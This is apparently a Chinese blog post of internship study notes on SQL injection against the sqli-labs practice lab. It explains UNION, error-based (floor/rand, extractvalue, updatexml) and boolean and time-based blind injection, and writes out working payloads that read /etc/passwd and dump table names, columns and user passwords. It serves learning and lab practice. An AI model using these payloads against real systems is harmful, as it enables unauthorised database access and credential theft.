【生产实习】day4、5

2024/7/10

sqli-labs-master

LIMIT

LIMIT 是 MySQL 内置函数,其作⽤是⽤于限制查询结果的条数。

其语法格式: LIMIT [位置偏移量,] ⾏数

order by

  • ⽤法 1:按某个字段进⾏排序(默认升序,desc降序)
  • ⽤法 2:按查询的第⼏个字段进⾏排序,如果超过查询的字段数,就报错

常⻅⼿动 sql 注⼊的闭合⽅式

or 1=1–+

'or 1=1–+

"or 1=1–+

)or 1=1–+

')or 1=1–+

") or 1=1–+

"))or 1=1–+

具体使⽤哪种⽅式取决于 SQL 语句使⽤了什么⽅式,我们可以在注⼊点输⼊反斜杠\来判断⻚⾯ 使⽤的哪种闭合⽅式。

union

UNION 操作符⽤于合并两个或多个 SELECT 语句的结果集。

注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

我们需要使 union 前⾯的语句出错才可以让我们后⾯查询的结果返回。

一般使前面的id=-1。

获取数据库名称

获取数据库名称会使⽤到 database(),⽽ database()是数据库内嵌的函数,主要是⽤于查询当前的数据库名称。

常⽤函数

version() #MySQL 版本

user() #数据库⽤户名

database() #数据库名

@@datadir #数据库路径

@@version_compile_os #操作系统版本

group_concat()函数

将 where 条件匹配到的多条记录连接成⼀个字符串。

select group_concat(table_name)

from information_schema.tables

where table_schema="security";

列出当前数据库中所有表的名称

information_schema,这是 MySQL ⾃带的⼀个元数据库,⽤于存储 MySQL 的 数据结 构。

元数据是⽤于描述数据本身的数据,称为元数据,包含了,MySQL 当中有多少个数据库, 这些数据库的名称是什么,每个数据库⾥有多少个表,具体的表名叫什么 。⽽ information_schema 这个库⾥⼜存放了很多个表,这些表⾥的不同字段表示 MySQL 中 的相关 信息。⽽我们也可以通过 information_schema 和以上我们学习到的注⼊使⽤⽅式去查询更多的信息。

查看 information_schema 库中 tables 表中 table_schema 等于 security 的相关信息

select table_schema,table_name

from information_schema.tables

where table_schema='security';

table_schema #该字段存储数据库名 ;

table_name #该字段存储对应数据库中的包括的表名

获取 users 表中的字段名

⾸先了解⼀下 information_schema 元数据库下的 columns 表,columns 表⽤于存储 MySQL 中 的所有表的字段类型。

查看 users 表拥有的字段名字

select table_schema,table_name,column_name

from information_schema.columns

where table_schema=database() and table_name='users';

使⽤ group_concat()将 users 表中的字段合并成⼀个字符串

select group_concat(column_name)

from information_schema.columns

where table_schema=database() and table_name='users';

获取⽤户名密码字段中的值

使⽤ group_concat(username,0x3a,password) 将⽤户名和密码连接成字符串,并使 ⽤: 冒号将⽤户名和密码分隔开。

0x 是⼗六进制的标志,3a 即⼗六进制的 3a。 0x3a 在 ASCII 码表代表:冒号

在 sql 注⼊时加⼊换⾏符

我们可以在每⼀个⽤户名:密码后⾯添加⼀个换⾏符。 16 HTML 中换⾏符⽤


来表示,但是我们需要转换成⼗六进制 0x3C,0x68,0x72,0x2F,0x3E

SQL 注⼊读取/etc/passwd ⽂件

指定⽬录:secure-file-priv=c://

不限⽬录:secure-file-priv=

禁⽌操作:secure-file-priv=NULL

在 MySQL 中读取⽂件,使⽤ load_file(“⽂件路径/名称”)

?id=-1' union select 1,load_file("/etc/passwd"),3 --+

SQL 注⼊写⼊⽂件

into outfile 语句⽤于把表数据导出到⼀个⽂本⽂件中

select * from Table into outfile '/路径/⽂件名'

基于报错的 SQL 注⼊

floor()

select count(*),(floor(rand(0)*2))x

from table

group by x;

rand()随机函数,返回 0~1 之间的某个值

floor(a)取整函数,返回⼩于等于 a,且值最接近 a 的⼀个整数

count()聚合函数也称作计数函数,返回查询对象的总数

group by 分组语句,按照查询结果分组

在执行group by语句的时候,group by语句后面的字段会被运算两次。

第一次是group by后面的字段和虚拟表进行对比,第二次是插入时会进行运算。

*floor(rand(1)2)=0100011 则不会产⽣报错因为我们可以看到前 2 次查询中临时表已经存在 0 和 1 的主键,所以我们⽆论查询多少条数据都不 会造成 主键冲突。

floor(rand(0)*2)=011011…

第一次统计时结果是0但是key里没有这个数据需要再重新计算一次并将结果写入,而重新计算一次算是第二次统计结果为1所以第一个写入的键值为1,第三次计算结果是1,count()统计次数为1+1,第四次计算结果为0依旧需要再次重新计算一次,但第五次计算结果为1键值重复了所以报错。
请添加图片描述
请添加图片描述
请添加图片描述

报错注⼊总结

⽬前常⻅的报错注⼊⼤约有10种:

  • extractvalue()、

  • floor()、

  • updatexml()、

  • exp()、

  • geometrycollection(),

  • multipoint(),

  • polygon(),

  • multipolygon(),

  • linestring(),

  • multilinestring()

其中原理主要是:

  • BIGINT等数据类型溢出
  • xpath语法错误
  • count()+rand()+groupby()导致主键重复等
相关函数
count():获取select检索到的⾮NULL的数据总条数,找不到则返回0,count(*)则不论是否为N
ULL都会计⼊。
rand():产⽣⼀个0-1的随机浮点数。
floor():取浮点数的整数部分。
group by:根据⼀个或多个列对结果集进⾏分组并有排序功能,会忽略NuLL值。
concat():返回结果为连接参数产⽣的字符串。如有任何⼀个参数为NULL ,则返回值为 NULL。
extractvalue():负责在xml⽂档中按照xpath语法查询节点内容,MySQL版本须⼤于或等于5.
1.5。
updatexml():updatexml则负责修改查询到的内容,MySQL版本须⼤于或等于5.1.5。
extractvalue()
//负责在xml⽂档中按照xpath语法查询节点内容
//语法:extractvalue(⽬标xml⽂档,xml路径)
//第⼆个参数 xml中的位置是可操作的地⽅,xml⽂档中查找字符位置是⽤ /xxx/xxx/xxx/…这种
格式,如果我们写⼊其他格式,就会报错,并且会返回我们写⼊的⾮法格式内容,⽽这个⾮法的内容
就是我们想要查询的内容。
//select * from users where id = 1 and (extractvalue('anything',concat(0x7
e,(select version()))));
//有⼀点需要注意,extractvalue()能查询字符串的最⼤⻓度为32,就是说如果我们想要的结果
超过32,就需要⽤substring()函数截取,依次查看32位
updatexml()
//updatexml()函数与extractvalue()类似,是更新xml⽂档的函数。
//语法:updatexml(⽬标xml⽂档,xml路径,更新的内容)
//select username from users where id=1 and (updatexml('x','/xx/xx','y'));
//报错⽅式:select username from users where id=1 and (updatexml('x',concat
(0x7e,(select database())),'y'));

Less-1

步骤1

请添加图片描述

报错的 SQL 语句位置

''1'' LIMIT 0,1'

把外⾯的单引号去掉,那是⽤来说明报错的 SQL 语句位置的。

'1'' LIMIT 0,1

我们看到我们输⼊的 id=1 此时 id 参数已经成功闭合,但是多了⼀个单引号导致后⾯的语句执⾏失败,由此我们可以确认当前位置存在 SQL 注⼊。原因是我们输⼊的单引号没有被过滤,成功带 ⼊数据库中执⾏。

步骤2

order by 4

请添加图片描述

order by 3

请添加图片描述

我们可以得出结论:此处查询的字段数量为 3 个字段

步骤3

请添加图片描述

步骤4

查询数据库名

请添加图片描述

步骤5

查询数据库表名

请添加图片描述

步骤6

获取user表字段

请添加图片描述

步骤7

获取用户名和密码

请添加图片描述

带换行符

请添加图片描述

Less-8 基于布尔的盲注

步骤1

先确定数据库名长度

select username,password

from users

where id=1 and ( length(database()) = 8);

我们通过构造⼀个判断条件( length(database()) = 8)判断⽬标是否满⾜条件,满⾜条件则执⾏成 功,不满⾜则执⾏失败。

步骤2 substr()函数

猜解 8 个字符的具体数值。
?id=1' and (ascii(substr(database(),1,1)) >8) --+

substr(database(),1,1) 表示取出数据库名称的第⼀个字符,第⼀个 1 表示从第⼏个字符开始,第 ⼆个 1 表示取⼏个字符,我们猜解出⼀个值之后就要把第⼀个值+1 ⽤来猜解第⼆个值。

先使⽤⼤于号⼩于号确定范围,然后⼀直缩⼩范围,当范围缩⼩到个位数就可 以 ⽤=号来判断具体数值。

?id=1' and (ascii(substr(database(),1,1)) =115) --+

步骤3

猜解出数据库名后,步骤同Less-1,获取表名,列名后,得到用户信息。

Less-8 基于时间的盲注

?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(3))--+

当 if()中的条件满⾜时,则直接返回,如果不满⾜时,则⾛ sleep,⻚⾯的响应 时 间根据所指定时⻓返回,从⽽可以判断注⼊的语句是否执⾏成功。

Less-5 报错注入 count+rand+groupby

步骤1 爆库

使用order by查出字段名为3

?id=1' union select 1,2,count(*) from information_schema.tables group by concat(0x7e,floor(rand(0)*2),database())--+

请添加图片描述

步骤2 爆表

?id=1' union select 1,2,count(*) from information_schema.tables group by concat(0x7e,floor(rand(0)*2),(select concat(0x7e,table_name) from information_schema.tables where table_schema=database() limit 3,1))--+

请添加图片描述

步骤3 爆字段

?id=1' union select 1,2,count(*) from information_schema.tables group by concat(0x7e,floor(rand(0)*2),(select concat(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))--+
请添加图片描述

步骤4 爆数据

?id=1' union select 1,2,count(*) from users group by concat(0x7e,floor(rand(0)*2), (select concat(0x7e,password) from users limit 0,1))--+

请添加图片描述

Less-5 报错注入 xpath语法错误

//数据库操作语句:
select * from student where id = 1 and (extractvalue('anything',concat('~',(select version()))));
select * from student where id = 1 and (updatexml('anything',concat('~',(select version())),'xxx'));
因为~不是标准的xpath语法,所以会产⽣报错,并将我们需要的信息返回在错误⻚⾯中
extractvalue()
步骤1 查用户

?id=1'and (extractvalue('anything',concat(0x7e,user())))%23

请添加图片描述

步骤2 查表

?id=1'and (extractvalue('anything',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1))))%23
请添加图片描述

步骤3 查列

?id=1'and (extractvalue('anything',concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))))%23

请添加图片描述

步骤4 查内容

?id=1'and (extractvalue('anything',concat(0x7e,(select password from users limit 0,1))))%23

请添加图片描述

updatexml()
步骤1 查用户

?id=1'and updatexml(1,concat(0x7e,user()),1)%23

步骤2 查表

?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)%23

步骤3 查列

?id=id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)),1)%23

步骤4 查内容

?id=id=1'and updatexml(1,concat(0x7e,(select password from users limit 1,1)),1)%23

  • 26
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值